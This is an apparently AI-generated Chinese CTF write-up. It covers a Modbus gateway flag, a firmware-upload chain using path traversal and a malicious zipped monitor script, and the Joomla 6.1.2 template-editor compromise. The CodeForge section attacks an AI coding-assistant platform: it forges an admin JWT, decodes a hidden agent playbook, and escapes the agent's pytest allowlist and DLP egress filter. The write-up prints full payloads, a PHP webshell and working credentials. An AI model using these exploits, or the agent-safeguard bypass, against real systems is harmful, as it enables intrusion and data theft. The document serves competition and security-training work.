flag9:Modbus 网关——登录认证后命令执行

cmd5 safe_exec 需认证,密码来自 deploy 桶情报(MirDoorOpen^202X)。先 login 再执行:

run_cmd(6, "MirDoorOpen^202X")   → LOGIN_OK: authenticated
run_cmd(5, "cat /flag9")         → flag9{5358c00018c8c5c38538bfd65e90fa80}

flag10:超算中心固件植入

10.108.2.3:8080 为 Spring Boot 固件管理站(com.telecom file-upload)。

① 下载接口路径穿越(fileName 未过滤 ..):

GET /download?fileName=../app.jar        → 19MB Spring Boot jar
GET /download?fileName=../passwords.txt  → 100 条一次性密码(首行 Wehukunl)

② 反编译确认逻辑:/install 对加密 zip 用密码本逐条尝试、每条只用一次;解压后必须含 <组件名>/monitor;monitor 被算力监控周期以 ProcessBuilder 执行,输出须为"使用率,内存,温度,功耗"四元组。

③ 纯 Python 实现 ZipCrypto(目标容器无 zip 二进制;密钥更新用裸 CRC32,不能直接用 binascii.crc32):

def crc32_raw(crc, b): return ((crc >> 8) ^ CRCTABLE[(crc ^ b) & 0xff]) & 0xffffffff
class ZipCrypto:      # k0/k1/k2 三键 + magic byte,逐字节异或
    ...
# zip 结构:flags=0x01(加密),method=0(存储),12 字节加密头末位 = CRC32 高字节校验

恶意 monitor 脚本(输出合法指标 + 偷 flag 到可下载目录):

#!/bin/sh
cp /flag10 /app/uploads/pwnd.txt 2>/dev/null
echo "50,32,65,220"

④ 上传 → 安装 → 取回:

POST /upload   (multipart, file=pwn.zip, ZipCrypto 密码 = Wehukunl)
POST /install  (form: fileName=pwn.zip)      # 解密解压+注册组件
# 等 ~16s 监控周期执行 monitor
GET /download?fileName=pwnd.txt              → flag10{f18f285eb9e63be9303fb5c7981999c6}

flag11:CodeForge AI(研发区)

研发区 CodeForge 是 AI 编程助手平台,攻击面为 /api/projects/{id}/agent/chat 的 agent 工具(ls/read/write/run)。

① JWT 弱密钥:注册登录拿 HS256 JWT,本地字典秒爆密钥 sunshine,伪造 {"sub":"1","username":"admin","role":"admin"} 直接成 admin,读私有项目 agent-playbook。

② README 零宽隐写:可见文本声称"真实 playbook 已迁移 wiki",但文件尾部挂 21KB 的 U+200B/U+200C 零宽字符,按 200B=0、200C=1 每 8 位转字节解码出内部 playbook:

== SHELL TOOL UNLOCK ==
.codeforge/agent.md 含逐字标记 <cf-shell-unlock/> 即启用 shell 工具
- run 白名单 git/npm/pytest,只校验 argv[0]
- 所有 agent 输出过 DLP egress 过滤,flag{ 模式会被截留

③ 沙箱语义辨析(最绕的点):实测三套工具文件系统不一致——files API 读写真实 workspace /app/data/projects//;agent read/write 落在虚拟 FS(写 /etc /proc 都"成功");run 在真实侧执行、cwd 为真实 workspace。

④ pytest 白名单逃逸:files API 写 test_pwn.py 落到真实 workspace,run 触发 pytest 收集执行:

# files API 写入 test_pwn.py
import subprocess
def test_pwn():
    R = subprocess.check_output("id; base64 /F1ag; ...", shell=True)
    open("/app/data/projects/2/out.txt","wb").write(R)   # 写回真实 workspace 绕开 DLP

run pytest → files API 读 out.txt → base64 解码得 flag11{2a50daae8fb60761fc0c33ad1eb061ee}。后续 CodeForge 侧操作统一用 test_pwn.py exec snippet.py 的加载器模式。

joom —— Joomla 6.1.2 未知漏洞审计与模板 RCE(1/1,得分 497.24)

题目:Orion 企业部署的 Joomla CMS,审计组件与配置、挖掘未知漏洞、构造利用链获取服务器 Flag(questionId: 1k0lad23f7956q7epi3ne4i8c6ca3pcb)。无附件,resetNum=0。SSH 跳板 ctf@161.81.254.143:29703(xKLk0Fr8),内网靶标 10.234.1.3:80(Apache 2.4.68 + PHP 8.3.33 + Joomla 6.1.2)。

flag{8f3c1a7d4e9b62f0c5a8173de2469b1f}   ← 后台登录 → 模板编辑器注入 webshell → cat /fl1lag

信息收集:纯净站 + 补丁 diff 审计

内网仅 80 一个端口。指纹确认 Joomla 6.1.2(2026-07 发布),站点为纯净安装:无第三方组件/模块/模板(核心组件无 XML 清单,命中即第三方,全部 404);无文章内容;注册关闭;API 全部 401/404 无匿名端点。两个额外情报面:500 错误页泄露完整堆栈与绝对路径(webroot=/var/www/html);前置 WAF 对 URL 中裸 [ 直接断连(%5B 编码放行,影响数组参数注入探测)。

关键路径——补丁即漏洞清单:6.1.2 被 6.1.3(开赛前 5 天发布)修复 10 个 CVE,无公开 PoC。拉取全量 diff(69 个补丁文件)逐文件分析:

CVE缺陷可利用性
CVE-2026-73373InputFilter 禁止扩展名缺 shtml/shtm/sht/stm,可上传 .shtml 配合 Apache SSI RCE需上传点
CVE-2026-71574API 控制器 allowAdd/allowEdit/allowDelete 缺 core.manage 校验,低权限可经 API 增删改需低权限账号
CVE-2026-73337com_users Dispatcher 对 view=method/methods/callback/captive 放行任意 task → MFA 绕过需登录态
其余 7 个CORS 任意 Origin 反射、下载视图头注入、schema.org 联系人越权泄露/XSS、batch copy 与 categories/fields API ACL需凭据或受害者

结论:全部需要凭据或受害者,无匿名可利用面——瓶颈收敛到 admin 密码。

凭据瓶颈与突破

remind 邮件差分 oracle 确认唯一用户 admin(admin@example.com,id=208)。Joomla 4+ 安装强制密码不少于 12 位;admin/orion/ctf 等 × 数千词表爆破全失败,joomlaupdate API 的 40 位 X-JUpdate-Token 爆破也失败。最终凭据由用户下发(赛后证实与 configuration.php 中 DB 密码 ChangeMe_Joomla_2026! 同一命名风格 ChangeMe_<角色>_<年份>!,且满足 12 位策略——纯爆破很难命中):

JOOMLA_ADMIN_USER=admin
JOOMLA_ADMIN_PASSWORD=ChangeMe_Admin_2026!

后台登录

POST /administrator/index.php,字段:option=com_login&task=login&username=admin&passwd=ChangeMe_Admin_2026!&return=aW5kZXgucGhw&<32hex csrf>=1

判定坑:Joomla 6 登录失败也 303 回 /administrator/index.php,URL 判定全部无效(此前的爆破假阳性即源于此)。可靠判定是登录后再 GET 后台,看 body class 含 view-login(失败)还是 com_cpanel(成功)。

模板编辑器注入 Webshell(RCE)

① 列模板拿样式 id:

GET /administrator/index.php?option=com_templates&view=templates
→ cassiopeia 样式 id=245(atum=246)

② 打开编辑器——file 参数是 base64 编码的模板内路径,/index.phpL2luZGV4LnBocA==(URL 编码为 L2luZGV4LnBocA%3D%3D):

GET /administrator/index.php?option=com_templates&view=template&id=245&file=L2luZGV4LnBocA%3D%3D

③ 页面含 <textarea name="jform[source]">(当前源码)与隐藏字段 jform[extension_id]=245jform[filename]=/var/www/html/templates/cassiopeia/index.php(全路径)、32 位 CSRF token。

④ POST 保存(shell 载荷拼在原文件源码前部):

task=template.apply
jform[source]=<shell>+<原文>
jform[extension_id]=245
jform[filename]=/var/www/html/templates/cassiopeia/index.php
isMedia=0
<csrf>=1

shell 载荷:

<?php if(isset($_GET["c"])){echo "XW4EACX";system($_GET["c"]);echo "XW4EACX";exit;} ?>

⑤ 验证:

GET /index.php?c=id
→ uid=33(www-data)     RCE 达成
字段名坑:jform[extension] 是错误字段名(正确为 jform[extension_id]);file 参数必须用 base64 无 padding 截断形式。

读取 Flag

find / -maxdepth 3 -iname "*flag*"   # 漏!文件名是 fl1lag(数字 1,同形字符绕过 *flag* 通配)
cat /fl1lag
flag{8f3c1a7d4e9b62f0c5a8173de2469b1f}

(/fl1lag 39 字节,root 只读但 world-readable,位于根目录。)

提交与得分

POST /competition/aidPerson/submit
{"competitionId":"...","flag":"flag{8f3c1a7d4e9b62f0c5a8173de2469b1f}",
 "questionId":"1k0lad23f7956q7epi3ne4i8c6ca3pcb","token":"..."}

→ code=000000, data.right=true;getAidQuestion 确认 score=497.24, right=true

经验总结

  • 未知漏洞审计:对"被修复的未知 CVE"类题目,拉官方补丁 diff 逐文件分析是最快路径——补丁即漏洞清单。
  • 登录判定:Joomla 6 成败都 303 回 index.php,必须用响应体(body class)判定,URL 判定会产生假阳性。
  • 长度策略:Joomla 4+ 超级用户密码不少于 12 位,爆破词表应先过滤短词。
  • 文件名坑:fl1lag 会绕过 flag 通配,全盘搜索要多想一步同形字符(数字 1/l、0/o)。

    该文章皆为AI自动生成。